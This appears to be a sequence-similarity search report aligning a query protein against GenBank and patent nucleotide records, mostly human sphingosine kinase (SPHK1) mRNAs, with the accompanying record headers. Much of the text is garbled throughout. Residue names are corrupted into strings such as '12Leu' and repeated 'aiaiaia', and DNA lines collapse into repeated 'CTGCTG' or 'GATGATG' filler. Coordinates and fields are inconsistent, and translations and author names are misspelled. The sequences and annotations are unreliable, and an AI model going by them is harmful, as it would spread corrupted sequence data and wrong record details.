23	33	8.6	1559	6	AF068749 Mus muscu
24	33	8.6	1759	6	AX224381 Sequence
25	33	8.6	1815	6	AX287137 Sequence
26	33	8.6	1815	6	AF068748 Mus muscu
27	23	6.0	110000	2	AL606505 Mus muscu
28	23	6.0	112037	10	AL645851 Mouse DNA
29	22	5.7	1842	10	AB049573 Rattus no
30	22	5.7	1895	10	AB049572 Rattus no
31	22	5.7	1943	10	AB049571 Rattus no
32	22	5.7	2501	10	AB049574 Rattus no
33	22	5.7	2648	10	AB049575 Rattus no
34	10	2.6	2345	10	BC016109 Mus muscu
35	10	2.6	2391	10	RNPTRIPNP
36	10	2.6	6618	14	ORSVRNA
37	10	2.6	120537	2	AC096601 Rattus no
38	10	2.6	171765	2	AC128377 Rattus no
39	10	2.6	196417	2	AC112627 Rattus no
40	10	2.6	231664	2	AL845274 Mus muscu
41	10	2.6	283318	2	AC102103 Mus muscu
42	10	2.6	293272	2	AC120685 Rattus no
43	9	2.3	835	3	AD060411 Anopheles d
44	9	2.3	841	3	AD060410 Anopheles d
45	9	2.3	1280	8	AY089127 Arabidops

RESULT 1

ALIGNMENTS

DB 139 CTTTGGCTGAGGCTGAATTCCTTCACGCTGATGCTACTAGGGGGAGAACCCG 198
QY 61 Arg12LeuValArgSer12LeuValArgTrpAspAlaLeuValMetSerGly 80
DB 199 CGGAGCTGTGGCGGCGAGAGAGCTGGCGGCTGGAGACCTCTGGTGTCTCATGTCTGA 258
QY 81 Asp12LeuMetHis12LeuValAlaMetGlyLeuMetGlyProAspTrpAlaLeuVal 100
DB 259 GAGGCGCTGATGACAGAGTGGTGAACGGGCTCTGAGAGGCGCTGACTGGAGACCCG 318
QY 101 IleGlnProLeuGlySerLeuProAlaGlySerGlyAlaLeuAlaSerLeu 120
DB 319 ATCCAGAGCCCTGTGTGCTCCACAGGCTCTGCAACGCGTGGCCTCTCTG 378
QY 121 AsnHis12LeuValArg12LeuValAlaMetGlyLeuMetGlyProAspTrpAlaLeuVal 140
DB 379 AACCATATGCTGCTATGACAGAGTGCACCAATGAGACCTCTGACCAACTGACGCTA 438
QY 141 LeuLeuGlyArg 144
DB 439 TTGCTGTGCCCC 450
RESULT 4
AF266756 1693 bp mRNA linear PRI 01-JUN-2000
LOCUS Homo sapiens sphingosine kinase (SPHK1) mRNA, complete cds.
DEFINITION AF266756
ACCESSION AF266756.1 GI:8133099
VERSION
KEYWORDS
ORGANISM Homo sapiens.
SOURCE
Homo sapiens.
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 1693)
AUTHORS Melendez,A.J., Carlos-Dias,E., Goshik,M., Allen,J.M. and Takacs,L.
TITLE Human Sphingosine Kinase, Molecular Cloning, Functional
Characterization and Tissue Distribution
JOURNAL Direct Submission
AUTHORS Submitted (11-MAY-2000) Department of Molecular and Cellular
Biology, Jouveinal Parke-Davis, 11-13 rue de la Loge, Fresnes
94265, France
FEATURES
source location/Qualifiers
1..1693
/organism="Homo sapiens"
/db_xref="taxon:9606"
/chromosome="17"
/map="17q25.2"
1..1693
/gene="SPHK1"
270..1424
/gene="SPHK1"
/codon_start=1
/product="sphingosine kinase"
/protein_id="AAF73470.1"
/translation="MDPAGPRGVLPBRPCVILNPRGGKALQLPRSHVOPILAE
AESPTIMTERLNARRELVSERGLYMDALVYMSDDGIMHVVNGLMERDTEALQ
KPLCSIPAGSNAALASLNHYAGCEYTNEDLITNTLLICRLLSPNNLSLTASG
LRLFSYLSLAKGFLADVDLSEKTRIGERETLGTFLRLALRTGRLLVFLVAG
GSKTPASPVYDQGVDAHLVLEPVSHMTVPDEEDVLALILSHLSSEMFAP
MGRCAGVNHLELYVAGYSRMLRLFLAEKGRHNEYDCPLTVYPVAAVRLPKDG
KGVFAVDLWSEVVOGVHNPYFMVNSCVPPPSMKPQMPPEPL"
1676..1681
/gene="SPHK1"
BASE COUNT 279 a 529 c 556 g 329 t
ORIGIN
Alignment Scores: 3.57e-141 Length: 1693

Score: 144.00 Matches: 375
Percent Similarity: 95.42% Conservative: 0
Best Local Similarity: 95.42% Mismatches: 9
Query Match: 37.50% Indels: 18
DB: 9 Gaps: 0

US-09-784-810A-2 (1-384) x AF26756 (1-1693)

QY 1 MetAspProAlaGly12LeuValArgTrpAspAlaLeuValMetSerGly 20
DB 270 ATGATCCACAGGAGGAGCCCGCGGCTGTCCCGGCTGCGGCTGTGCTG 329
QY 21 LeuAsnProArgGly12LeuValArgTrpAspAlaLeuValMetSerGly 40
DB 330 CTGAAACCCGCGGCGGCAAGGCGCTTGGAGCTTCCGAGTACCTGACGCGC 389
QY 41 LeuLeuAlaGluAlaLeuSerPheThrLeuMetLeuThrGluArgAsnHisAla 60
DB 390 CTTTGGCTGAGGCTGAATTCCTTCACGCTGATGCTCACTAGCGGGGAGAACCCG 449
QY 61 Arg12LeuValArgSer12LeuValArgTrpAspAlaLeuValMetSerGly 80
DB 450 CGGAGCTGTGGCGGCTGGAGAGCTGGCGGCTGTGGTGTCTGATGTCTG 509
QY 81 Asp12LeuMetHis12LeuValAlaMetGlyLeuMetGlyProAspTrpAlaLeuVal 100
DB 510 GACGCGCTGATGACAGAGTGGTGAACGGCTCTATGAGCGGCTGACTGGAGACCCG 569
QY 101 IleGlnProLeuGlySerLeuProAlaGlySerGlyAlaLeuAlaSerLeu 120
DB 570 ATCCAGAGCCCTGTGTGCTCCACAGGCTCTGCAACGCGTGGCCTCTCTG 629
QY 121 AsnHis12LeuValArg12LeuValAlaMetGlyLeuMetGlyProAspTrpAlaLeuVal 140
DB 630 AACCATATGCTGCTATGACAGAGTGCACCAATGAGACCTCTGACCAACTGACGCTA 689
QY 141 LeuLeuGlyArgProVal--LeuSerProMetAsnLeuLeuSerLeuHis12LeuVal 160
DB 690 TTGCTGTGCCCC -CCGG -TGCTGTACCAAGAACGCTGTCTGACAGCGGCTTGG 747
QY 160 LysLeuArgSer-PheSerValLeuSerLeuAlaTrpLysPheLeuAlaAspValAspLeu 179
DB 748 GGTGCGCCCT-CTTCTCTGTCTGCTACGCTGGCGGCTTCAATGCTGATGTGACCTA 806
QY 180 GluSerAsp-LysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyTyrPheLeuArg 199
DB 807 GAGAGTGA-GAAGTATCGGCGCTGTGGGAGATGCGCTTCACTGTGGACCTTCTGCG 865
QY 199 GluAlaAlaLeuArgThrTyrArgGlyArgLeuAlaThr-LeuProValGlyArgValG 219
DB 866 TCTGGACGCTGCGACCTACCGGCGGAGCTGCGCTA-CTTCCCTGTAGAGAGT-G 923
QY 219 LysPhe-LysThrProAlaSerProValValAlaGlnGlnProValAspAlaHisLeu 238
DB 924 GGTTCAGAGACACTCTCCCTTGTGCTCCAGAGGCGCCGCTAGATACACACTT 983
QY 239 ValProLeuGlnGlnGln-ValProSerHisTyrGln-ValValProAspGluAspPhe 258
DB 984 GTGCACTGGAGGAGGCG-AGTGCCCTCTCACTGGAC-AGTGCGCCGAGGAGACTTGG 1041
QY 258 AluLeuValAlaLeuLeuHisSerHisLeuAla-SerGluMetPheAlaAlaProMet 277
DB 1042 TGTAGAGCTGGAGCGGCTGCGACCTGCGAGCTGGG-CAGTGAAGVGTTCCTGACCCATG 1100
QY 278 GlyArgCysAlaAlaGlyValMetHisLeuPheTyrValArgAlaGlyValSerArgAla 297
DB 1101 GCGCGCTGTGACGCTGCTCATGATCTGTTCACCTGGCGGCGGAGTGTCTGTGCC 1160
QY 298 MetLeuLeuArgPheLeuAlaMetGluGlyArgHisMetGluTyrTrpLeuGlyPro 317
DB 1161 ATGCTGCTGCGCTCTTCTCTGCGCATGAGAGGCGAGGAGATGTGAGATGAGCCGCC 1220
QY 318 TyrLeuValTyrValProValValAlaPheArgLeuGluProLysAspGlyLeuVal 337

DB 1221 TACTGTGATATGTCGCTGGTCCCTTCGCTTCGAGCCCAAGAGATGGGAAGGTGTG 1280
QY 338 PhealaValaAspGlyGluLeuMetValSerGluAlaValGlnGlyGlnValHisProAsn 357
DB 1281 TTTCGAGTGGATGGGGAATGATGTATGACGAGGCGCTGCAGGGCCAGGTGCACCCCAAC 1340
QY 358 TyrPheTpmetValSerGlyCysValGluProProPserTTPlysProGlnMet 377
DB 1341 TACTTCTGATGTCAGCGGCTTCGCTGGAGCCGCCAGCTGGAAGCCCGCAGCATG 1400
QY 378 ProProGluGluProLeu 384
DB 1401 CCACCGCCAGAAAGACCCTTA 1421
RESULT 5
AX127641 1719 bp DNA linear PAT 15-MAY-2001
LOCUS Sequence 1 from Patent WO0131029.
DEFINITION AX127641
ACCESSION AX127641
VERSION AX127641.1 GI:14134307
KEYWORDS
SOURCE human.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1 (bases 1 to 1719)
AUTHORS Allen,J., Gosink,M., Melendez,A.J. and Takacs,L.
TITLE Human sphingosine kinase gene
JOURNAL Patent: WO 0131029-A 1 03-MAY-2001;
WARNER-LAMBERT COMPANY (US)
FEATURES
source location/Qualifiers
1..1719
/organism="Homo sapiens"
/db_xref="taxon:9606"
BASE COUNT 305 a 529 c 556 g 329 t
ORIGIN
Alignment Scores:
Pred. No.: 3.62e-141 Length: 1719
Score: 144.00 Matches: 375
Percent Similarity: 95.42% Conservative: 0
Best Local Similarity: 95.42% Mismatches: 9
Query Match: 37.50% Indels: 18
DB: 6 Gaps: 0
US-09-784-810a-2 (1-384) x AX127641 (1-1719)
QY 1 MetAspProAlaGlyGlyProArgGlyValLeuProArgProCysArgValLeuValLeu 20
DB 270 ATGATCCAGCGGGGCGGCCCGCGGCGTCCCGCGGCCCTGCCTGCTGCTG 329
QY 21 LeuAsnProArgGlyGlyGlyValGlnLeuGlnPheArgSerHisValGlnPro 40
DB 330 CTGAACCCGCGCGGGGCAAGGCGCTTCGACGCTCCGAGATCAGCTGAGGCC 389
QY 41 LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgAsnHisAla 60
DB 330 CTTTGGCTGAGCGCTGAATCTCTTCACGCTGATGCTCATGACGCGGGAACACGCG 449
QY 61 ArgGluLeuValArgSerGluGluLeuGlyArgTTPAspAlaLeuValMetSerGly 80
DB 450 CGGAGCTGTCGCGGTCGGAGAGCTGGCGGCTGGAGCGCTGCTGTCATGTCGGA 509
QY 81 AspGlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTTPGluThrAla 100
DB 510 GACGGCTGATGTCACAGAGTGTGTGAACGCGCTCATGAGGCGGCTGACTGGGAGACCGCG 569
QY 101 IleGlnIlyProLeuCysSerLeuProAlaGlySerGlyValAsnAlaLeuAlaSerLeu 120
DB 570 ATCCAGAAAGCCCTCTGTAGCTCCACAGAGCTCTGGCAACGCGCTGGCAGCTTCCTTG 629
QY 121 AsnHisTyrAlaGlyTyrGluGluValThrAsnGluAspLeuThrAsnGlyThrLeu 140

DB 630 AACCATTTGCTGGCTATGACAGAGTACCAATGAAGACCTCCGACCAACTGCACGCTA 689
QY 141 LeuLeuCysArgProVal - LeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerG 160
DB 690 TTGCTGTGCCC - CCGGC - TGCTGTACCAACCAAGAACCTCTCTCTGTGACACAGCTTCGG 747
QY 160 LysLeuArgSer - PheSerValLeuSerLeuAlaTTPGlyPheIleAlaAspValAspLeu 179
DB 748 GGGTGGGCTT - CTTCCTGTGCTGACGCTTCGGCTGGGCTTCATGTCATGTCATGTCATG 806
QY 180 GluSerAsp - LysTyrArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuArg 199
DB 807 GAGAGTGA - GAAAGTATGCGGCTGTCGGGAGATGTCGCTTCACCTGCGACCTTCCTCGC 865
QY 199 GLeuAlaAlaLeuArgThrTyrArgGlyArgLeuAlaThr - LeuProValGlyArgValG 219
DB 866 TCTGACACCTCTGGCCACCTACCGCGGCGGACGTCCTTA - CCTCCTGTAGGAAGAGT - G 923
QY 219 LysPhe - LysThrProAlaSerProValValGlnGlnGlyProValAspAlaHisLeu 238
DB 924 GCTTCAGACACCTGCTGCTCCCGCTTGTGTCACGAGGCGCGGTAGATGACACCTT 983
QY 239 ValProLeuGluGluGln - ValProSerHisTTPGln - ValValProAspGluAspPhe 258
DB 984 GTGCGACCTGAGAGAGCC - AGTGCCCTCTCAGCTGAGC - AGTGAGTGGCCGACGAGACTTTCG 1041
QY 258 alLeuValLeuAlaLeuLeuHisSerHisLeuAla - SerGluMetPheAlaAlaProMet 277
DB 1042 TGCTAGTCTGTCACCTGTCACCTGTCACCTGTCG - CACTGAGATTTTTCGTCACCTTCG 1100
QY 278 GlyArgCysAlaAlaGlyValMetHisLeuPheThrValArgAlaGlyValSerArgAla 297
DB 1101 GCGCGCTGTCACCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1160
QY 298 MetLeuLeuArgGlyLeuPheLeuAlaMetGluLysGlyArgHisMetGluTyrGluCysPro 317
DB 1161 ATGCTGTCGCGCTCTCTCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1220
QY 318 TyrLeuValTyrValProValValAlaPheArgLeuGluProLysAspGlyValGlyVal 337
DB 1221 TACTGTGATATGTCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1280
QY 338 PheAlaValaAspGlyGluLeuMetValSerGluAlaValGlnGlyGlnValHisProAsn 357
DB 1281 TTTCGAGTGGATGGGGAATGATGTATGACGAGGCGCGTGCAGGCGCAGGTGCACCCCAAC 1340
QY 358 TyrPheTpmetValSerGlyCysValGluProProPserTTPlysProGlnMet 377
DB 1341 TACTTCTGATGTCAGCGGCTTCGCTGGAGCCGCCAGCTGGAAGCCCGCAGCATG 1400
QY 378 ProProGluGluProLeu 384
DB 1401 CCACCGCCAGAAAGACCCTTA 1421
RESULT 6
AK023393 1772 bp mRNA linear PRI 01-AUG-2002
LOCUS Homo sapiens cDNA FLJ13331 f1s, clone OVARC1001809, moderately
DEFINITION Similar to Mus musculus sphingosine kinase (SPHK1a) mRNA.
ACCESSION AK023393
VERSION AK023393.1 GI:10435311
KEYWORDS oligo capping; f1s (full insert sequence).
SOURCE Homo sapiens ovary, tumor tissue cDNA to mRNA, clone_11b:OVARC1
clone:OVARC1001809.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE 1
AUTHORS Isogai,T., Ota,T., Hayashi,K., Sugiyama,T., Otsuki,T., Suzuki,Y.,
Nishikawa,T., Nagai,K., Sugano,S., Shiratori,A., Sudo,H.,
Wagatsuma,M., Hosofiri,T., Kaku,Y., Kodaira,H., Kondo,H.,
Sugawara,M., Takahashi,M., Chiba,Y., Ishida,S., Murakawa,K.,

Ono,Y., Takiguchi,S., Watanabe,S., Kimura,K., Murakami,K.,
Ishii,S., Kawai,Y., Saito,K., Yamamoto,J., Wakamatsu,A.,
Makamura,Y., Nagahari,K., Masuko,Y., Niinomiya,K. and Iwayanagi,T.
NEDO human cDNA sequencing project
JOURNAL
TITLE
REFERENCE
AUTHORS
JOURNAL
2 (bases 1 to 1772)
Isogai,T. and Otsuki,T.
Submitted (23-AUG-2000) Takao Isogai, Helix Research Institute,
Genomics Laboratory; 1532-3 Yana, Kisarazu, Chiba 292-0812, Japan
(E-mail:genomiosehri.co.jp, Tel:81-438-52-3975, Fax:81-438-52-3986)
NEDO human cDNA sequencing project supported by Ministry of
International Trade and Industry of Japan; cDNA full insert
sequencing: Research Association for Biotechnology; cDNA library
construction, 5'- & 3'-end one pass sequencing and clone selection:
Helix Research Institute (supported by Japan Key Technology Center
etc.) and Department of Virology, Institute of Medical Science,
University of Tokyo.
FEATURES
Source
Location/Qualifiers
1..1772
/organism="Homo sapiens"
/db_xref="taxon:9606"
/clone="OVARC1001809"
/tissue="ovary, tumor tissue"
/clone_lib="OVARC1"
/note="cloning vector: pME18SFL3"
350..1504
/note="unnamed protein product"
/protein_id="BAB14558.1"
/db_xref="GI:10435312"
/translation="MDPAGRGVLPVPPRCVILNPRGKSKALQLPFRSHVPLLE
AETISPLMTERNHARELVSSELDALVYSGDGLMHVYNGVIMPERDMETALG
KPLCSIPASSGALASLNHYAGTEVNTDLTNTLLICRLLSPNGLSTHAG
LRFSTSLAKGFIADVDSERKPRLEGMRPGLSPRLALRYRRLATYVGY
GSKTPASPVYVQCGPYDNHLYPLDEPVPSHWYPPDEPVLYLALHSHSSEKAP
MGRCAAGVHMLFTVAVGYSRAMLRLLFLAMEKSHMETRCPLTVTPVYATFLKEDS
KGVAVDGELMVSEAVGVHPNFMWSCVGPSPSMKPKQMPPEEPL"
BASE COUNT 285 a 566 c 585 g 336 t
ORIGIN
Alignment Scores:
Pred. No.: 3,71e-141 Length: 1772
Score: 144.00 Matches: 375
Percent Similarity: 95.42% Conservative: 0
Best Local Similarity: 37.50% Mismatches: 9
Query Match: 37.50% Gaps: 18
DB: 9
US-09-784-810a-2 (1-384) x AK023393 (1-1772)
QY 1 Metasprprolaaglygylproargglyvalleuproarprocysaryvalleuvalleu 20
DB 350 ATGGATCCAGCGAGCGCCCGGAGCGTGTCCCGGCGCGCTGGCGCTGGTGGCG 409
QY 21 Leuansprproargglygyllysalaaleuglnleupheargserhisvalglnpro 40
DB 410 CTGAACCCGCGCGCGCAAGGCAAGGCTTTCGAGCTTCGCGAGTCACGTCAGCCCC 469
QY 41 Leuenuaia 60
DB 470 CTTTGGCTAGAGCTGAATCTCTTCACGCTGATGCTCACTGAGGGCGGAACCAACCG 529
QY 61 Arggluleuvalargsergluleuglyargtrppaspaiaiaiaiaiaiaiaiaia 80
DB 530 CGGAGGCTGTGCGTGGAGAGAGTGGGCGCTGGGAGCGCTGTGGTCAATGCTGGA 589
QY 81 Aspglyleumethisgluvalaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaia 100
DB 590 GACGGGCTGATGCACGAGGTGTGAACGGGCTCATGAGCGGCTGACGAGACCGCC 649
QY 101 Ileglnlysprleucysserleuproaiaiaiaiaiaiaiaiaiaiaiaiaiaiaia 120

DB 650 ATCCAGAGCCCTGTGTAGCCTCCACAGAGCTCTGGCAGCGCGTGGCAGCTTCTTG 709
QY 121 Asnhtsyalaglytyriginuvalaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaia 140
DB 710 AACCATTAAGTGGTATAGAGAGGTCACCAATGAGAGCTCTGACCAATGACGCTA 769
QY 141 Leuencysargproval--leuserpromethasleuileuserleuhtsrhialasarg 160
DB 770 TTGCTGTGGCG--CGGCG--TGCTGATCCCATGAACCTGCTGTCTGACACAGGCTTGG 827
QY 160 lyeuargser-pheneservalleuserleualatrpqlypheleiaiaiaiaiaia 179
DB 828 GGGCGCCCGC--CTTCTCTGTGTCTAGCCTGGCGGGGCTTCTTCTGATGTGACCTTA 886
QY 180 Gluserasp-lytyrargargleuglyglumetargphethrleuglythrphenleuar 199
DB 887 GAGAGTGA--GAGATGCGGCTGTGGGAGATGCTTCACTGAGGACCTTCTTCCG 945
QY 199 glauaia 219
DB 946 TCTGGCAGCCCTGGCAGCTACCGGCGGCGGACCTGCTA--CTTCCCTGAGGAGAGT-G 1003
QY 219 lyphe-lythrprolaasprprovalaiaiaiaiaiaiaiaiaiaiaiaiaiaiaia 238
DB 1004 GGTTCACAGACACTGCTGCTCCCGCTGTGGTCCAGAGGCGCGGTAGATGACACCTT 1063
QY 239 Valproleuaglucln--valproserhistripcln--valaiaiaiaiaiaiaiaia 258
DB 1064 GTGCCACTGGAGAGAGCC--AGTCCCTCTCAGCTGAGC--AGTGTGCGCCGACGAGACTTGG 1121
QY 258 alleuvalaia 277
DB 1122 TGCTAGCTCGGAGACTGCTGACCTGACCTGCGG--CAGTAGAGTGTCTCTGACCCATG 1180
QY 278 GLYARGYSALIA 297
DB 1181 GCGCCGCTGACACTGCTGCTGATGATGCTTCTACCTGCGGCGGAGATGCTCTGTC 1240
QY 298 Metleuenuargleupheleualaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaia 317
DB 1241 ATGCTGTGCGCTCTCTCTGCAATGAGAGGAGAGGAGATGAGATGAGATGAGATG 1300
QY 318 Tyrleuvaltyrvalprovalaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaiaia 337
DB 1301 TACTTGTATACCTGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1360
QY 338 Phealaia 357
DB 1361 TTTCAGTGGATGGGAGATTGATGTTAGCGAGGCGCGGAGGCGGAGGCGGAGGCG 1420
QY 358 Tyrphetrmetvalserglcysvalaiaiaiaiaiaiaiaiaiaiaiaiaiaiaia 377
DB 1421 TACTTCTGATGATGATGATGATGATGATGATGATGATGATGATGATGATGATG 1480
QY 378 Proproprogluclnproleu 384
DB 1481 CCACCGCCAGAGAGGCTTGA 1501
RESULT 7
AF238083 1783 bp mRNA linear PRI 01-JUN-2000
LOCUS Homo sapiens sphingosine kinase-1 mRNA, complete cds.
DEFINITION AF238083
ACCESSION AF238083
VERSION AF238083.1 GI:8132867
KEYWORDS
SOURCE Homo sapiens.
ORGANISM Homo sapiens
Eukaryota; Metazoa; Chordata; Craniata; Vertebrata; Euteleostomi;
Mammalia; Eutheria; Primates; Catarrhini; Homnidae; Homo.
REFERENCE Nava,V.E., Iacana,E., Poulton,S., Liu,H., Sugiyama,M., Kono,K.,
Milstien,S., Kohama,T. and Spiegel,S.
TITLE Functional characterization of human sphingosine kinase-1

JOURNAL	FEBIS Lett. 473 (1), 81-84 (2000)
MEDLINE	20263733
PUBMED	10802064
REFERENCE	2 (bases, 1 to 1783)
AUTHORS	Nava,V.E., Lacena,E., Poulton,S., Liu,H., Sugiyama,M., Kono,K., Milsten,S., Kohama,T. and Spiegel,S.
TITLE	Direct Submission
JOURNAL	Submitted (23-FEB-2000) Biochemistry, Georgetown University, 3900 Reservoir RD NW BSB Km 357, Washington, DC 20007, USA
FEATURES	Location/Qualifiers

BASE COUNT	314 a	546 c	591 g	332 t
ORIGIN				

Alignment Scores:	
Pred. No.:	3.73e-141
Score:	144.00
Percent Similarity:	100.00%
Best Local Similarity:	100.00%
Query Match:	37.50%
DB:	9
Gaps:	0
Mismatches:	0
Conservative:	0
Mismatches:	0
Indels:	0
Gaps:	0

US-09-784-810A-2 (1-384) x AF238083 (1-1783)

OY	1	MetAspProAlaGlyGlyProArgLysValLeuProArgProCysArgValLeuValLeu	20
Db	337	ATGATATCCAGCGGGCGCCCCCGGGGGCTCTCCCGCGCCCTGCGCGTCTGGTGGTGG	396
OY	21	LeuAsnProArgGlyGlyLysGlyLysAlaLeuGlnLeuPheArgSerHisValGlnPro	40
Db	397	CTGAACCCGGCGGGCGCAAGGCAAGGCCCTTGACAGCTCTTCCGAGTACAGTGCAGCCC	456
OY	41	LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgAsnHisAla	60
Db	457	CTTTTGGCTGAGGCTGAATCTCTTACAGCTGATGCTACATGGAGCGCGGAACACACCG	516
OY	61	ArgGluLeuValArgSerGluGluLeuGlyArgTrpAspAlaLeuValMetSerGly	80
Db	517	CGGAGAGTGGTGGCGGTGGAGAGACTGGCGCGCTGGAGACCTCTGGTGTATGCTGGA	576
OY	81	AspGlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTrpGluThrAla	100
Db	577	GACGGCGCTGATGCGACGAGGTGGTAAAGGGGCTCATGGAGCGGCTGATGGGAGACCCGC	636
OY	101	IleGlnLysPProLeuCysSerLeuProAlaGlySerGlyAsnAlaLeuAlaSerLeu	120
Db	637	ATCCAGAAAGCCCTCTGTGTAGCTCTCCACAGAGGCTCTGGCAACGGCGCTGGCAGCTTCTTG	696
OY	121	AsnHisTryAlaGlyTryGluGlnValThrAsnGluAspLeuLeuThrAsnCysThrLeu	140
Db	697	AACCATTAATGCTGGCTATGAGCAGGTCACCAATGAAGACCTCTGACCAATGCACGCTA	756
OY	141	LeuLeuCysArg	144
Db	757	TTGCTGTGGCCG	768

AK022402	AK022402	1821 bp	mRNA	linear	PRI 01-AUG-2002
LOCUS	Homo sapiens cDNA FLJ1340 f1s, clone MAMMA1002268, moderately similar to Mus musculus sphingosine kinase (SPHK1a) mRNA.				
DEFINITION	AK022402				
ACCESSION	AK022402.1 GI:10433790				
VERSION	oligo capping: f1s (full insert sequence).				
KEYWORDS	Homo sapiens Mammary gland cDNA to mRNA, clone_1lb:MAMMA1				
SOURCE	clone:MAMMA1002268.				
ORGANISM	Homo sapiens				

REFERENCE AUTHORS	Isogai,T., Ota,T., Hayashi,K., Sugiyama,T., Otsuki,T., Suzuki,Y., Nishikawa,T., Nagai,K., Sugano,S., Shiratori,A., Sudo,H., Maetsuma,M., Hosoiri,T., Kaku,Y., Kodaira,H., Kondo,H., Sugawara,M., Takahashi,M., Chiba,Y., Ishida,S., Murakawa,K., Ono,Y., Takiguchi,S., Watanabe,S., Kimura,K., Murakami,K., Ishii,S., Kawai,Y., Saito,K., Yamamoto,J., Wakamatsu,A., Nakamura,Y., Nagahari,K., Masuno,H., Ninomiya,K. and Iwayanagi,T
TITLE	NEO human cDNA sequencing project
JOURNAL	Unpublished
REFERENCE	2 (bases 1 to 1821)
AUTHORS	Isogai,T. and Otsuki,T.
TITLE	Direct Submission
JOURNAL	Submitted (22-APR-2000) Takao Isogai, Helix Research Institute,

FEATURES	Location/Qualifiers
SOURCE	1. .1821

Alignment Scores:	
Pred. No.:	3,79e-141
Score:	144.00
Percent Similarity:	95.42%
Best Local Similarity:	95.42%
Query Match:	37.50%
DB:	9
	Gaps:
	0
	Length:
	1821
	Matches:
	375
	Conservative:
	9
	Mismatches:
	18
	Indels:
	0
	Gaps:
	0

US-09-784-810A-2 (1-384) x AK022402 (1-1821)

QY 1 MetcspProAlaGlyGlyProAlaGlyValAlLeuProAlaGlyProGlyAsnArgValLeuValLeu 20
 Db 393 ATGATATCCAGCGGGGGCCCCCGGGGGCGTCTCCCGGGCCCTGCCGGGTCTGTGTCTG 452
 QY 21 LeuAsnProAlaGlyGlyGlyGlyGlySalAlaLeuGlnLeuPheArgSerHisValGlnPro 40


```

Db      453  CTTGACCCCGCGCGGCGCAAGGCGCTTGACAGCTTCGAGACAGTGCACGCC 512
      41  LeuLeuAlaGluAlaGluIleSerPheThrLeuMetLeuThrGluArgArgAsnHisAla 60
      513  CTTTGGCTGAGGCTGAATCTCTTCACGCTGATGCTCTACTGAGCGGGGACACCGC 572
      61  ArgGluLeuValArgSerGluGluLeuGlyArgTrpAspAlaLeuValMetSerGly 80
      573  CGGAGCTGGTGGGCTGGAGAGAGCTGGGCGCTGGAGCGCTGCTGCTGATGCTGA 632
      81  AspGlyLeuMetHisGluValValAsnGlyLeuMetGluArgProAspTrpGluThrAla 100
      633  GAGGGGCTGATGCGAGGCTGTGAAAGCGGCGCTCATGAGCGGCTGACTGGAGAGCGCC 692
      101  TleGlnLysProLeuLysSerLeuProAlaGlySerGlyAsnAlaLeuAlaLaserLeu 120
      693  ATCCAGAAAGCCCTGTGTAGCTCCACGAGGCTGTGGCAAGCGCTGGACGCTTCCTTG 752
      121  AsnHisTrpAlaGlyTrpGluGlnValThrAsnGluAspLeuThrAsnGlyThrLeu 140
      753  AACCATATGCTGGCTATGACAGAGTACCAATGAAGACCTCTGACCAACTGCACGCTA 812
      141  LeuLeuGlyArgProVal--LeuSerProMetAsnLeuLeuSerLeuHisThrAlaSerG 160
      813  TTGCTGTGCGC-CGAGC-TGCTGTACCCATGAACCTGTGTCTCTGACACGCGCTTCG 870
      160  LysLeuArgSer-PheSerValLeuSerLeuAlaTrpGlyPheIleAlaAspValAspLeu 179
      871  GGTGGCGGCT-CTTCTCTGTCTGACGCTGGCGCTGGGCTTCATGCTGATGTGGACCTA 929
      180  GluSerAsp-LysTrpArgArgLeuGlyGluMetArgPheThrLeuGlyThrPheLeuAr 199
      930  GAGAGTGA-GAAGTATCGGCGCTGGGGAGATGCGCTTCACTGCGGCGACCTTCGCG 988
      199  GLeuAlaAlaLeuArgThrTrpArgGlyArgLeuAlaThr-LeuProValGlyArgValG 219
      989  TCTGGAGCGCTCGGACCTACCGCGGCGGCTGGGCTCA-CCTCCCTGTAGGAAGAGT-G 1046
      219  LysPhe-LysThrProAlaSerProValValGlnGlnGlyProValAspAlaHisLeu 238
      1047  GGTTCGAAGACCTGCTCCCGGTTGTGTGTCACAGGCGCGGTAGATGCACACCTT 1106
      239  ValProLeuGluGlnGln-ValProSerHisTrpGln-ValValProAspGluAspPheV 258
      1107  GTGCCACTGGAGGAGC-AGTGGCTCTCTCACTGAC-AGTGGTGGCGGAGGAGACTTGG 1164
      258  AlLeuValLeuAlaLeuLeuHisSerHisLeuAla-SerGluMetPheAlaLarProMet 277
      1165  TGTATGCTCTGGCACTGCTGCACTGCACCTGGG-CAGTGAGATGTTGCTGCACTCATG 1223
      278  GlyArgGlyAlaAlaGlyValMetHisLeuPheThrValArgAlaGlyValSerArgAla 297
      1224  GGCCGCTGTGCGAGCTGCGTCATCTGTTCTACCTGCGGCGGAGAGTCTCTGTGCC 1283
      298  MetLeuLeuArgLeuPheLeuAlaMetGluLysGlyArgHisMetGluTrpGlyLysPro 317
      1284  ATGCTGCTCGCGCTTCTCTGCGCATGGAAGGCGAGGCTATGAGTGAATGCGCC 1343
      318  TyrLeuValTyrValProValValAlaPheArgLeuGluProLysAspGlyLysGlyVal 337
      1344  TACTGTGATATGCGCGCTGTGCTGCTTCGCTTGAGGCCAAGATGGGAAAGTGCTG 1403
